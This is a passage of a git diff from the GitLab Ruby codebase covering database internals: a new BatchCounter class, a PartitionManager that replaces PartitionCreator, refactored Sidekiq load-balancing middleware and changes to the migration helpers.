- raise "The mode #{mode.inspect} is not supported" unless ALLOWED_MODES.include?(mode)
- raise 'Use distinct count for optimized distinct counting' if @relation.limit(1).distinct_value.present? && mode != :distinct
- raise 'Use distinct count only with non id fields' if @column == :id && mode == :distinct
- end
-
- def log_canceled_batch_fetch(batch_start, mode, query, error)
- Gitlab::AppJsonLogger
- .error(
- event: 'batch_count',
- relation: @relation.table_name,
- operation: @operation,
- operation_args: @operation_args,
- start: batch_start,
- mode: mode,
- query: query,
- message: "Query has been canceled with message: #{error.message}"
- )
- end
-
- def use_loose_index_scan_for_distinct_values?(mode)
- Feature.enabled?(:loose_index_scan_for_distinct_values) && not_group_by_query? && mode == :distinct
- end
-
- def not_group_by_query?
- !@relation.is_a?(ActiveRecord::Relation) || @relation.group_values.blank?
- end
- end
end
end
diff --git a/lib/gitlab/database/batch_counter.rb b/lib/gitlab/database/batch_counter.rb
new file mode 100644
index 00000000000..5f2e404c9da
--- /dev/null
+++ b/lib/gitlab/database/batch_counter.rb
@@ -0,0 +1,159 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ class BatchCounter
+ FALLBACK = -1
+ MIN_REQUIRED_BATCH_SIZE = 1_250
+ DEFAULT_SUM_BATCH_SIZE = 1_000
+ MAX_ALLOWED_LOOPS = 10_000
+ SLEEP_TIME_IN_SECONDS = 0.01 # 10 msec sleep
+ ALLOWED_MODES = [:itself, :distinct].freeze
+ FALLBACK_FINISH = 0
+ OFFSET_BY_ONE = 1
+
+ # Each query should take < 500ms https://gitlab.com/gitlab-org/gitlab/-/merge_requests/22705
+ DEFAULT_DISTINCT_BATCH_SIZE = 10_000
+ DEFAULT_BATCH_SIZE = 100_000
+
+ def initialize(relation, column: nil, operation: :count, operation_args: nil)
+ @relation = relation
+ @column = column || relation.primary_key
+ @operation = operation
+ @operation_args = operation_args
+ end
+
+ def unwanted_configuration?(finish, batch_size, start)
+ (@operation == :count && batch_size <= MIN_REQUIRED_BATCH_SIZE) ||
+ (@operation == :sum && batch_size < DEFAULT_SUM_BATCH_SIZE) ||
+ (finish - start) / batch_size >= MAX_ALLOWED_LOOPS ||
+ start >= finish
+ end
+
+ def count(batch_size: nil, mode: :itself, start: nil, finish: nil)
+ raise 'BatchCount can not be run inside a transaction' if ActiveRecord::Base.connection.transaction_open?
+
+ check_mode!(mode)
+
+ # non-distinct have better performance
+ batch_size ||= batch_size_for_mode_and_operation(mode, @operation)
+
+ start = actual_start(start)
+ finish = actual_finish(finish)
+
+ raise "Batch counting expects positive values only for #{@column}" if start < 0 || finish < 0
+ return FALLBACK if unwanted_configuration?(finish, batch_size, start)
+
+ results = nil
+ batch_start = start
+
+ while batch_start < finish
+ begin
+ batch_end = [batch_start + batch_size, finish].min
+ batch_relation = build_relation_batch(batch_start, batch_end, mode)
+
+ op_args = @operation_args
+ if @operation == :count && @operation_args.blank? && use_loose_index_scan_for_distinct_values?(mode)
+ op_args = [Gitlab::Database::LooseIndexScanDistinctCount::COLUMN_ALIAS]
+ end
+
+ results = merge_results(results, batch_relation.send(@operation, *op_args)) # rubocop:disable GitlabSecurity/PublicSend
+ batch_start = batch_end
+ rescue ActiveRecord::QueryCanceled => error
+ # retry with a safe batch size & warmer cache
+ if batch_size >= 2 * MIN_REQUIRED_BATCH_SIZE
+ batch_size /= 2
+ else
+ log_canceled_batch_fetch(batch_start, mode, batch_relation.to_sql, error)
+ return FALLBACK
+ end
+ rescue Gitlab::Database::LooseIndexScanDistinctCount::ColumnConfigurationError => error
+ Gitlab::AppJsonLogger
+ .error(
+ event: 'batch_count',
+ relation: @relation.table_name,
+ operation: @operation,
+ operation_args: @operation_args,
+ mode: mode,
+ message: "LooseIndexScanDistinctCount column error: #{error.message}"
+ )
+
+ return FALLBACK
+ end
+
+ sleep(SLEEP_TIME_IN_SECONDS)
+ end
+
+ results
+ end
+
+ def merge_results(results, object)
+ return object unless results
+
+ if object.is_a?(Hash)
+ results.merge!(object) { |_, a, b| a + b }
+ else
+ results + object
+ end
+ end
+
+ private
+
+ def build_relation_batch(start, finish, mode)
+ if use_loose_index_scan_for_distinct_values?(mode)
+ Gitlab::Database::LooseIndexScanDistinctCount.new(@relation, @column).build_query(from: start, to: finish)
+ else
+ @relation.select(@column).public_send(mode).where(between_condition(start, finish)) # rubocop:disable GitlabSecurity/PublicSend
+ end
+ end
+
+ def batch_size_for_mode_and_operation(mode, operation)
+ return DEFAULT_SUM_BATCH_SIZE if operation == :sum
+
+ mode == :distinct ? DEFAULT_DISTINCT_BATCH_SIZE : DEFAULT_BATCH_SIZE
+ end
+
+ def between_condition(start, finish)
+ return @column.between(start...finish) if @column.is_a?(Arel::Attributes::Attribute)
+
+ { @column => start...finish }
+ end
+
+ def actual_start(start)
+ start || @relation.unscope(:group, :having).minimum(@column) || 0
+ end
+
+ def actual_finish(finish)
+ (finish || @relation.unscope(:group, :having).maximum(@column) || FALLBACK_FINISH) + OFFSET_BY_ONE
+ end
+
+ def check_mode!(mode)
+ raise "The mode #{mode.inspect} is not supported" unless ALLOWED_MODES.include?(mode)
+ raise 'Use distinct count for optimized distinct counting' if @relation.limit(1).distinct_value.present? && mode != :distinct
+ raise 'Use distinct count only with non id fields' if @column == :id && mode == :distinct
+ end
+
+ def log_canceled_batch_fetch(batch_start, mode, query, error)
+ Gitlab::AppJsonLogger
+ .error(
+ event: 'batch_count',
+ relation: @relation.table_name,
+ operation: @operation,
+ operation_args: @operation_args,
+ start: batch_start,
+ mode: mode,
+ query: query,
+ message: "Query has been canceled with message: #{error.message}"
+ )
+ end
+
+ def use_loose_index_scan_for_distinct_values?(mode)
+ Feature.enabled?(:loose_index_scan_for_distinct_values) && not_group_by_query? && mode == :distinct
+ end
+
+ def not_group_by_query?
+ !@relation.is_a?(ActiveRecord::Relation) || @relation.group_values.blank?
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/custom_structure.rb b/lib/gitlab/database/custom_structure.rb
deleted file mode 100644
index e4404e73a63..00000000000
--- a/lib/gitlab/database/custom_structure.rb
+++ /dev/null
@@ -1,43 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Database
- class CustomStructure
- CUSTOM_DUMP_FILE = 'db/gitlab_structure.sql'
-
- def dump
- File.open(self.class.custom_dump_filepath, 'wb') do |io|
- io << "-- this file tracks custom GitLab data, such as foreign keys referencing partitioned tables\n"
- io << "-- more details can be found in the issue: https://gitlab.com/gitlab-org/gitlab/-/issues/201872\n\n"
-
- dump_partitioned_foreign_keys(io) if partitioned_foreign_keys_exist?
- end
- end
-
- def self.custom_dump_filepath
- Rails.root.join(CUSTOM_DUMP_FILE)
- end
-
- private
-
- def dump_partitioned_foreign_keys(io)
- io << "COPY partitioned_foreign_keys (#{partitioned_fk_columns.join(", ")}) FROM STDIN;\n"
-
- PartitioningMigrationHelpers::PartitionedForeignKey.find_each do |fk|
- io << fk.attributes.values_at(*partitioned_fk_columns).join("\t") << "\n"
- end
- io << "\\.\n"
- end
-
- def partitioned_foreign_keys_exist?
- return false unless PartitioningMigrationHelpers::PartitionedForeignKey.table_exists?
-
- PartitioningMigrationHelpers::PartitionedForeignKey.exists?
- end
-
- def partitioned_fk_columns
- @partitioned_fk_columns ||= PartitioningMigrationHelpers::PartitionedForeignKey.column_names
- end
- end
- end
-end
diff --git a/lib/gitlab/database/dynamic_model_helpers.rb b/lib/gitlab/database/dynamic_model_helpers.rb
index 7439591be99..220062f1bc6 100644
--- a/lib/gitlab/database/dynamic_model_helpers.rb
+++ b/lib/gitlab/database/dynamic_model_helpers.rb
@@ -3,6 +3,8 @@
module Gitlab
module Database
module DynamicModelHelpers
+ BATCH_SIZE = 1_000
+
def define_batchable_model(table_name)
Class.new(ActiveRecord::Base) do
include EachBatch
@@ -12,7 +14,7 @@ module Gitlab
end
end
- def each_batch(table_name, scope: ->(table) { table.all }, of: 1000)
+ def each_batch(table_name, scope: ->(table) { table.all }, of: BATCH_SIZE)
if transaction_open?
raise <<~MSG.squish
each_batch should not run inside a transaction, you can disable
@@ -25,7 +27,7 @@ module Gitlab
.each_batch(of: of) { |batch| yield batch }
end
- def each_batch_range(table_name, scope: ->(table) { table.all }, of: 1000)
+ def each_batch_range(table_name, scope: ->(table) { table.all }, of: BATCH_SIZE)
each_batch(table_name, scope: scope, of: of) do |batch|
yield batch.pluck('MIN(id), MAX(id)').first
end
diff --git a/lib/gitlab/database/load_balancing.rb b/lib/gitlab/database/load_balancing.rb
index 88743cd2e75..31d41a6d6c0 100644
--- a/lib/gitlab/database/load_balancing.rb
+++ b/lib/gitlab/database/load_balancing.rb
@@ -85,7 +85,6 @@ module Gitlab
# Returns true if load balancing is to be enabled.
def self.enable?
return false if Gitlab::Runtime.rake?
- return false if Gitlab::Runtime.sidekiq? && !Gitlab::Utils.to_boolean(ENV['ENABLE_LOAD_BALANCING_FOR_SIDEKIQ'], default: false)
return false unless self.configured?
true
diff --git a/lib/gitlab/database/load_balancing/load_balancer.rb b/lib/gitlab/database/load_balancing/load_balancer.rb
index a833bb8491f..a5d67ebc050 100644
--- a/lib/gitlab/database/load_balancing/load_balancer.rb
+++ b/lib/gitlab/database/load_balancing/load_balancer.rb
@@ -147,15 +147,15 @@ module Gitlab
raise 'Failed to determine the write location of the primary database'
end
- # Returns true if all hosts have caught up to the given transaction
- # write location.
- def all_caught_up?(location)
- @host_list.hosts.all? { |host| host.caught_up?(location) }
- end
-
# Returns true if there was at least one host that has caught up with the given transaction.
#
# In case of a retry, this method also stores the set of hosts that have caught up.
+ #
+ # UPD: `select_caught_up_hosts` seems to have redundant logic managing host list (`:gitlab_load_balancer_valid_hosts`),
+ # while we only need a single host: https://gitlab.com/gitlab-org/gitlab/-/issues/326125#note_615271604
+ # Also, shuffling the list afterwards doesn't seem to be necessary.
+ # This may be improved by merging this method with `select_up_to_date_host`.
+ # Could be removed when `:load_balancing_refine_load_balancer_methods` FF is rolled out
def select_caught_up_hosts(location)
all_hosts = @host_list.hosts
valid_hosts = all_hosts.select { |host| host.caught_up?(location) }
@@ -179,6 +179,8 @@ module Gitlab
# Returns true if there was at least one host that has caught up with the given transaction.
# Similar to `#select_caught_up_hosts`, picks a random host, to rotate replicas we use.
# Unlike `#select_caught_up_hosts`, does not iterate over all hosts if finds any.
+ #
+ # It is going to be merged with `select_caught_up_hosts`, because they intend to do the same.
def select_up_to_date_host(location)
all_hosts = @host_list.hosts.shuffle
host = all_hosts.find { |host| host.caught_up?(location) }
@@ -190,6 +192,7 @@ module Gitlab
true
end
+ # Could be removed when `:load_balancing_refine_load_balancer_methods` FF is rolled out
def set_consistent_hosts_for_request(hosts)
RequestStore[VALID_HOSTS_CACHE_KEY] = hosts
end
diff --git a/lib/gitlab/database/load_balancing/rack_middleware.rb b/lib/gitlab/database/load_balancing/rack_middleware.rb
index 4734ff99bd3..8e7e6865402 100644
--- a/lib/gitlab/database/load_balancing/rack_middleware.rb
+++ b/lib/gitlab/database/load_balancing/rack_middleware.rb
@@ -39,6 +39,8 @@ module Gitlab
result = @app.call(env)
+ ActiveSupport::Notifications.instrument('web_transaction_completed.load_balancing')
+
stick_if_necessary(env)
result
diff --git a/lib/gitlab/database/load_balancing/sidekiq_client_middleware.rb b/lib/gitlab/database/load_balancing/sidekiq_client_middleware.rb
index 524d69c00c0..0e36ebbc3ee 100644
--- a/lib/gitlab/database/load_balancing/sidekiq_client_middleware.rb
+++ b/lib/gitlab/database/load_balancing/sidekiq_client_middleware.rb
@@ -5,27 +5,29 @@ module Gitlab
module LoadBalancing
class SidekiqClientMiddleware
def call(worker_class, job, _queue, _redis_pool)
+ # Mailers can't be constantized
worker_class = worker_class.to_s.safe_constantize
- mark_data_consistency_location(worker_class, job)
+ if load_balancing_enabled?(worker_class)
+ job['worker_data_consistency'] = worker_class.get_data_consistency
+ set_data_consistency_location!(job) unless location_already_provided?(job)
+ else
+ job['worker_data_consistency'] = ::WorkerAttributes::DEFAULT_DATA_CONSISTENCY
+ end
yield
end
private
- def mark_data_consistency_location(worker_class, job)
- # Mailers can't be constantized
- return unless worker_class
- return unless worker_class.include?(::ApplicationWorker)
- return unless worker_class.get_data_consistency_feature_flag_enabled?
-
- return if location_already_provided?(job)
-
- job['worker_data_consistency'] = worker_class.get_data_consistency
-
- return unless worker_class.utilizes_load_balancing_capabilities?
+ def load_balancing_enabled?(worker_class)
+ worker_class &&
+ worker_class.include?(::ApplicationWorker) &&
+ worker_class.utilizes_load_balancing_capabilities? &&
+ worker_class.get_data_consistency_feature_flag_enabled?
+ end
+ def set_data_consistency_location!(job)
if Session.current.use_primary?
job['database_write_location'] = load_balancer.primary_write_location
else
diff --git a/lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb b/lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb
index 9bd0adf8dbd..0551750568a 100644
--- a/lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb
+++ b/lib/gitlab/database/load_balancing/sidekiq_server_middleware.rb
@@ -7,8 +7,18 @@ module Gitlab
JobReplicaNotUpToDate = Class.new(StandardError)
def call(worker, job, _queue)
- if requires_primary?(worker.class, job)
+ worker_class = worker.class
+ strategy = select_load_balancing_strategy(worker_class, job)
+
+ job['load_balancing_strategy'] = strategy.to_s
+
+ if use_primary?(strategy)
Session.current.use_primary!
+ elsif strategy == :retry
+ raise JobReplicaNotUpToDate, "Sidekiq job #{worker_class} JID-#{job['jid']} couldn't use the replica."\
+ " Replica was not up to date."
+ else
+ # this means we selected an up-to-date replica, but there is nothing to do in this case.
end
yield
@@ -23,31 +33,42 @@ module Gitlab
Session.clear_session
end
- def requires_primary?(worker_class, job)
- return true unless worker_class.include?(::ApplicationWorker)
- return true unless worker_class.utilizes_load_balancing_capabilities?
- return true unless worker_class.get_data_consistency_feature_flag_enabled?
-
- location = job['database_write_location'] || job['database_replica_location']
+ def use_primary?(strategy)
+ strategy.start_with?('primary')
+ end
- return true unless location
+ def select_load_balancing_strategy(worker_class, job)
+ return :primary unless load_balancing_available?(worker_class)
- job_data_consistency = worker_class.get_data_consistency
- job[:data_consistency] = job_data_consistency.to_s
+ location = job['database_write_location'] || job['database_replica_location']
+ return :primary_no_wal unless location
if replica_caught_up?(location)
- job[:database_chosen] = 'replica'
- false
- elsif job_data_consistency == :delayed && not_yet_retried?(job)
- job[:database_chosen] = 'retry'
- raise JobReplicaNotUpToDate, "Sidekiq job #{worker_class} JID-#{job['jid']} couldn't use the replica."\
- " Replica was not up to date."
+ # Happy case: we can read from a replica.
+ retried_before?(worker_class, job) ? :replica_retried : :replica
+ elsif can_retry?(worker_class, job)
+ # Optimistic case: The worker allows retries and we have retries left.
+ :retry
else
- job[:database_chosen] = 'primary'
- true
+ # Sad case: we need to fall back to the primary.
+ :primary
end
end
+ def load_balancing_available?(worker_class)
+ worker_class.include?(::ApplicationWorker) &&
+ worker_class.utilizes_load_balancing_capabilities? &&
+ worker_class.get_data_consistency_feature_flag_enabled?
+ end
+
+ def can_retry?(worker_class, job)
+ worker_class.get_data_consistency == :delayed && not_yet_retried?(job)
+ end
+
+ def retried_before?(worker_class, job)
+ worker_class.get_data_consistency == :delayed && !not_yet_retried?(job)
+ end
+
def not_yet_retried?(job)
# if `retry_count` is `nil` it indicates that this job was never retried
# the `0` indicates that this is a first retry
@@ -59,11 +80,7 @@ module Gitlab
end
def replica_caught_up?(location)
- if Feature.enabled?(:sidekiq_load_balancing_rotate_up_to_date_replica)
- load_balancer.select_up_to_date_host(location)
- else
- load_balancer.host.caught_up?(location)
- end
+ load_balancer.select_up_to_date_host(location)
end
end
end
diff --git a/lib/gitlab/database/load_balancing/srv_resolver.rb b/lib/gitlab/database/load_balancing/srv_resolver.rb
index 20da525f4d2..1f599ef4a27 100644
--- a/lib/gitlab/database/load_balancing/srv_resolver.rb
+++ b/lib/gitlab/database/load_balancing/srv_resolver.rb
@@ -1,5 +1,7 @@
# frozen_string_literal: true
+require 'net/dns'
+
module Gitlab
module Database
module LoadBalancing
diff --git a/lib/gitlab/database/load_balancing/sticking.rb b/lib/gitlab/database/load_balancing/sticking.rb
index efbd7099300..8e1aa079216 100644
--- a/lib/gitlab/database/load_balancing/sticking.rb
+++ b/lib/gitlab/database/load_balancing/sticking.rb
@@ -33,8 +33,10 @@ module Gitlab
return true unless location
- load_balancer.all_caught_up?(location).tap do |caught_up|
- unstick(namespace, id) if caught_up
+ load_balancer.select_up_to_date_host(location).tap do |found|
+ ActiveSupport::Notifications.instrument('caught_up_replica_pick.load_balancing', { result: found } )
+
+ unstick(namespace, id) if found
end
end
@@ -51,8 +53,14 @@ module Gitlab
# write location. If no such location exists, err on the side of caution.
return false unless location
- load_balancer.select_caught_up_hosts(location).tap do |selected|
- unstick(namespace, id) if selected
+ if ::Feature.enabled?(:load_balancing_refine_load_balancer_methods)
+ load_balancer.select_up_to_date_host(location).tap do |selected|
+ unstick(namespace, id) if selected
+ end
+ else
+ load_balancer.select_caught_up_hosts(location).tap do |selected|
+ unstick(namespace, id) if selected
+ end
end
end
diff --git a/lib/gitlab/database/migration_helpers.rb b/lib/gitlab/database/migration_helpers.rb
index d155abefdc8..842ab4f7b80 100644
--- a/lib/gitlab/database/migration_helpers.rb
+++ b/lib/gitlab/database/migration_helpers.rb
@@ -217,11 +217,12 @@ module Gitlab
# source - The source table containing the foreign key.
# target - The target table the key points to.
# column - The name of the column to create the foreign key on.
+ # target_column - The name of the referenced column, defaults to "id".
# on_delete - The action to perform when associated data is removed,
# defaults to "CASCADE".
# name - The name of the foreign key.
#
- def add_concurrent_foreign_key(source, target, column:, on_delete: :cascade, name: nil, validate: true)
+ def add_concurrent_foreign_key(source, target, column:, on_delete: :cascade, target_column: :id, name: nil, validate: true)
# Transactions would result in ALTER TABLE locks being held for the
# duration of the transaction, defeating the purpose of this method.
if transaction_open?
@@ -231,7 +232,8 @@ module Gitlab
options = {
column: column,
on_delete: on_delete,
- name: name.presence || concurrent_foreign_key_name(source, column)
+ name: name.presence || concurrent_foreign_key_name(source, column),
+ primary_key: target_column
}
if foreign_key_exists?(source, target, **options)
@@ -252,7 +254,7 @@ module Gitlab
ALTER TABLE #{source}
ADD CONSTRAINT #{options[:name]}
FOREIGN KEY (#{options[:column]})
- REFERENCES #{target} (id)
+ REFERENCES #{target} (#{target_column})
#{on_delete_statement(options[:on_delete])}
NOT VALID;
EOF
@@ -389,12 +391,14 @@ module Gitlab
# * +logger+ - [Gitlab::JsonLogger]
# * +env+ - [Hash] custom environment hash, see the example with `DISABLE_LOCK_RETRIES`
def with_lock_retries(*args, **kwargs, &block)
+ raise_on_exhaustion = !!kwargs.delete(:raise_on_exhaustion)
merged_args = {
klass: self.class,
logger: Gitlab::BackgroundMigration::Logger
}.merge(kwargs)
- Gitlab::Database::WithLockRetries.new(**merged_args).run(&block)
+ Gitlab::Database::WithLockRetries.new(**merged_args)
+ .run(raise_on_exhaustion: raise_on_exhaustion, &block)
end
def true_value
@@ -1106,7 +1110,16 @@ module Gitlab
Gitlab::AppLogger.warn "Could not find batched background migration for the given configuration: #{configuration}"
elsif !migration.finished?
raise "Expected batched background migration for the given configuration to be marked as 'finished', " \
- "but it is '#{migration.status}': #{configuration}"
+ "but it is '#{migration.status}':" \
+ "\t#{configuration}" \
+ "\n\n" \
+ "Finalize it manualy by running" \
+ "\n\n" \
+ "\tsudo gitlab-rake gitlab:background_migrations:finalize[#{job_class_name},#{table_name},#{column_name},'#{job_arguments.inspect.gsub(',', '\,')}']" \
+ "\n\n" \
+ "For more information, check the documentation" \
+ "\n\n" \
+ "\thttps://docs.gitlab.com/ee/user/admin_area/monitoring/background_migrations.html#database-migrations-failing-because-of-batched-background-migration-not-finished"
end
end
@@ -1610,6 +1623,13 @@ into similar problems in the future (e.g. when new tables are created).
raise
end
+ def rename_constraint(table_name, old_name, new_name)
+ execute <<~SQL
+ ALTER TABLE #{quote_table_name(table_name)}
+ RENAME CONSTRAINT #{quote_column_name(old_name)} TO #{quote_column_name(new_name)}
+ SQL
+ end
+
private
def validate_check_constraint_name!(constraint_name)
diff --git a/lib/gitlab/database/migrations/background_migration_helpers.rb b/lib/gitlab/database/migrations/background_migration_helpers.rb
index fa30ffb62f5..28491a934a0 100644
--- a/lib/gitlab/database/migrations/background_migration_helpers.rb
+++ b/lib/gitlab/database/migrations/background_migration_helpers.rb
@@ -107,7 +107,10 @@ module Gitlab
batch_counter = 0
model_class.each_batch(of: batch_size) do |relation, index|
- start_id, end_id = relation.pluck(Arel.sql("MIN(#{primary_column_name}), MAX(#{primary_column_name})")).first
+ max = relation.arel_table[primary_column_name].maximum
+ min = relation.arel_table[primary_column_name].minimum
+
+ start_id, end_id = relation.pluck(min, max).first
# `BackgroundMigrationWorker.bulk_perform_in` schedules all jobs for
# the same time, which is not helpful in most cases where we wish to
diff --git a/lib/gitlab/database/partitioning/monthly_strategy.rb b/lib/gitlab/database/partitioning/monthly_strategy.rb
index 82ea1ce26fb..4c68399cb68 100644
--- a/lib/gitlab/database/partitioning/monthly_strategy.rb
+++ b/lib/gitlab/database/partitioning/monthly_strategy.rb
@@ -4,16 +4,17 @@ module Gitlab
module Database
module Partitioning
class MonthlyStrategy
- attr_reader :model, :partitioning_key
+ attr_reader :model, :partitioning_key, :retain_for
# We create this many partitions in the future
HEADROOM = 6.months
delegate :table_name, to: :model
- def initialize(model, partitioning_key)
+ def initialize(model, partitioning_key, retain_for: nil)
@model = model
@partitioning_key = partitioning_key
+ @retain_for = retain_for
end
def current_partitions
@@ -27,13 +28,21 @@ module Gitlab
desired_partitions - current_partitions
end
+ def extra_partitions
+ current_partitions - desired_partitions
+ end
+
private
def desired_partitions
[].tap do |parts|
min_date, max_date = relevant_range
- parts << partition_for(upper_bound: min_date)
+ if pruning_old_partitions? && min_date <= oldest_active_date
+ min_date = oldest_active_date.beginning_of_month
+ else
+ parts << partition_for(upper_bound: min_date)
+ end
while min_date < max_date
next_date = min_date.next_month
@@ -52,13 +61,17 @@ module Gitlab
# to start from MINVALUE to a specific date `x`. The range returned
# does not include the range of the first, half-unbounded partition.
def relevant_range
- if first_partition = current_partitions.min
+ if (first_partition = current_partitions.min)
# Case 1: First partition starts with MINVALUE, i.e. from is nil -> start with first real partition
# Case 2: Rather unexpectedly, first partition does not start with MINVALUE, i.e. from is not nil
# In this case, use first partition beginning as a start
min_date = first_partition.from || first_partition.to
end
+ if pruning_old_partitions?
+ min_date ||= oldest_active_date
+ end
+
# In case we don't have a partition yet
min_date ||= Date.today
min_date = min_date.beginning_of_month
@@ -72,6 +85,14 @@ module Gitlab
TimePartition.new(table_name, lower_bound, upper_bound)
end
+ def pruning_old_partitions?
+ Feature.enabled?(:partition_pruning_dry_run) && retain_for.present?
+ end
+
+ def oldest_active_date
+ (Date.today - retain_for).beginning_of_month
+ end
+
def connection
ActiveRecord::Base.connection
end
diff --git a/lib/gitlab/database/partitioning/partition_creator.rb b/lib/gitlab/database/partitioning/partition_creator.rb
deleted file mode 100644
index d4b2b8d50e2..00000000000
--- a/lib/gitlab/database/partitioning/partition_creator.rb
+++ /dev/null
@@ -1,87 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Database
- module Partitioning
- class PartitionCreator
- def self.register(model)
- raise ArgumentError, "Only models with a #partitioning_strategy can be registered." unless model.respond_to?(:partitioning_strategy)
-
- models << model
- end
-
- def self.models
- @models ||= Set.new
- end
-
- LEASE_TIMEOUT = 1.minute
- LEASE_KEY = 'database_partition_creation_%s'
-
- attr_reader :models
-
- def initialize(models = self.class.models)
- @models = models
- end
-
- def create_partitions
- Gitlab::AppLogger.info("Checking state of dynamic postgres partitions")
-
- models.each do |model|
- # Double-checking before getting the lease:
- # The prevailing situation is no missing partitions
- next if missing_partitions(model).empty?
-
- only_with_exclusive_lease(model) do
- partitions_to_create = missing_partitions(model)
-
- next if partitions_to_create.empty?
-
- create(model, partitions_to_create)
- end
- rescue StandardError => e
- Gitlab::AppLogger.error("Failed to create partition(s) for #{model.table_name}: #{e.class}: #{e.message}")
- end
- end
-
- private
-
- def missing_partitions(model)
- return [] unless connection.table_exists?(model.table_name)
-
- model.partitioning_strategy.missing_partitions
- end
-
- def only_with_exclusive_lease(model)
- lease = Gitlab::ExclusiveLease.new(LEASE_KEY % model.table_name, timeout: LEASE_TIMEOUT)
-
- yield if lease.try_obtain
- ensure
- lease&.cancel
- end
-
- def create(model, partitions)
- connection.transaction do
- with_lock_retries do
- partitions.each do |partition|
- connection.execute partition.to_sql
-
- Gitlab::AppLogger.info("Created partition #{partition.partition_name} for table #{partition.table}")
- end
- end
- end
- end
-
- def with_lock_retries(&block)
- Gitlab::Database::WithLockRetries.new(
- klass: self.class,
- logger: Gitlab::AppLogger
- ).run(&block)
- end
-
- def connection
- ActiveRecord::Base.connection
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/database/partitioning/partition_manager.rb b/lib/gitlab/database/partitioning/partition_manager.rb
new file mode 100644
index 00000000000..c2a9422a42a
--- /dev/null
+++ b/lib/gitlab/database/partitioning/partition_manager.rb
@@ -0,0 +1,108 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Database
+ module Partitioning
+ class PartitionManager
+ def self.register(model)
+ raise ArgumentError, "Only models with a #partitioning_strategy can be registered." unless model.respond_to?(:partitioning_strategy)
+
+ models << model
+ end
+
+ def self.models
+ @models ||= Set.new
+ end
+
+ LEASE_TIMEOUT = 1.minute
+ MANAGEMENT_LEASE_KEY = 'database_partition_management_%s'
+
+ attr_reader :models
+
+ def initialize(models = self.class.models)
+ @models = models
+ end
+
+ def sync_partitions
+ Gitlab::AppLogger.info("Checking state of dynamic postgres partitions")
+
+ models.each do |model|
+ # Double-checking before getting the lease:
+ # The prevailing situation is no missing partitions and no extra partitions
+ next if missing_partitions(model).empty? && extra_partitions(model).empty?
+
+ only_with_exclusive_lease(model, lease_key: MANAGEMENT_LEASE_KEY) do
+ partitions_to_create = missing_partitions(model)
+ create(partitions_to_create) unless partitions_to_create.empty?
+
+ if Feature.enabled?(:partition_pruning_dry_run)
+ partitions_to_detach = extra_partitions(model)
+ detach(partitions_to_detach) unless partitions_to_detach.empty?
+ end
+ end
+ rescue StandardError => e
+ Gitlab::AppLogger.error("Failed to create / detach partition(s) for #{model.table_name}: #{e.class}: #{e.message}")
+ end
+ end
+
+ private
+
+ def missing_partitions(model)
+ return [] unless connection.table_exists?(model.table_name)
+
+ model.partitioning_strategy.missing_partitions
+ end
+
+ def extra_partitions(model)
+ return [] unless Feature.enabled?(:partition_pruning_dry_run)
+ return [] unless connection.table_exists?(model.table_name)
+
+ model.partitioning_strategy.extra_partitions
+ end
+
+ def only_with_exclusive_lease(model, lease_key:)
+ lease = Gitlab::ExclusiveLease.new(lease_key % model.table_name, timeout: LEASE_TIMEOUT)
+
+ yield if lease.try_obtain
+ ensure
+ lease&.cancel
+ end
+
+ def create(partitions)
+ connection.transaction do
+ with_lock_retries do
+ partitions.each do |partition|
+ connection.execute partition.to_sql
+
+ Gitlab::AppLogger.info("Created partition #{partition.partition_name} for table #{partition.table}")
+ end
+ end
+ end
+ end
+
+ def detach(partitions)
+ connection.transaction do
+ with_lock_retries do
+ partitions.each { |p| detach_one_partition(p) }
+ end
+ end
+ end
+
+ def detach_one_partition(partition)
+ Gitlab::AppLogger.info("Planning to detach #{partition.partition_name} for table #{partition.table}")
+ end
+
+ def with_lock_retries(&block)
+ Gitlab::Database::WithLockRetries.new(
+ klass: self.class,
+ logger: Gitlab::AppLogger
+ ).run(&block)
+ end
+
+ def connection
+ ActiveRecord::Base.connection
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/database/partitioning/partition_monitoring.rb b/lib/gitlab/database/partitioning/partition_monitoring.rb
index 9ec9ae684a5..ad122fd47fe 100644
--- a/lib/gitlab/database/partitioning/partition_monitoring.rb
+++ b/lib/gitlab/database/partitioning/partition_monitoring.rb
@@ -6,7 +6,7 @@ module Gitlab
class PartitionMonitoring
attr_reader :models
- def initialize(models = PartitionCreator.models)
+ def initialize(models = PartitionManager.models)
@models = models
end
diff --git a/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb b/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb
index 4402c42b136..f1aa7871245 100644
--- a/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb
+++ b/lib/gitlab/database/partitioning_migration_helpers/foreign_key_helpers.rb
@@ -79,135 +79,6 @@ module Gitlab
"#{prefix}#{hashed_identifier}"
end
-
- # Creates a "foreign key" that references a partitioned table. Because foreign keys referencing partitioned
- # tables are not supported in PG11, this does not create a true database foreign key, but instead implements the
- # same functionality at the database level by using triggers.
- #
- # Example:
- #
- # add_partitioned_foreign_key :issues, :projects
- #
- # Available options:
- #
- # :column - name of the referencing column (otherwise inferred from the referenced table name)
- # :primary_key - name of the primary key in the referenced table (defaults to id)
- # :on_delete - supports either :cascade for ON DELETE CASCADE or :nullify for ON DELETE SET NULL
- #
- def add_partitioned_foreign_key(from_table, to_table, column: nil, primary_key: :id, on_delete: :cascade)
- cascade_delete = extract_cascade_option(on_delete)
-
- update_foreign_keys(from_table, to_table, column, primary_key, cascade_delete) do |current_keys, existing_key, specified_key|
- if existing_key.nil?
- unless specified_key.save
- raise "failed to create foreign key: #{specified_key.errors.full_messages.to_sentence}"
- end
-
- current_keys << specified_key
- else
- Gitlab::AppLogger.warn "foreign key not added because it already exists: #{specified_key}"
- current_keys
- end
- end
- end
-
- # Drops a "foreign key" that references a partitioned table. This method ONLY applies to foreign keys previously
- # created through the `add_partitioned_foreign_key` method. Standard database foreign keys should be managed
- # through the familiar Rails helpers.
- #
- # Example:
- #
- # remove_partitioned_foreign_key :issues, :projects
- #
- # Available options:
- #
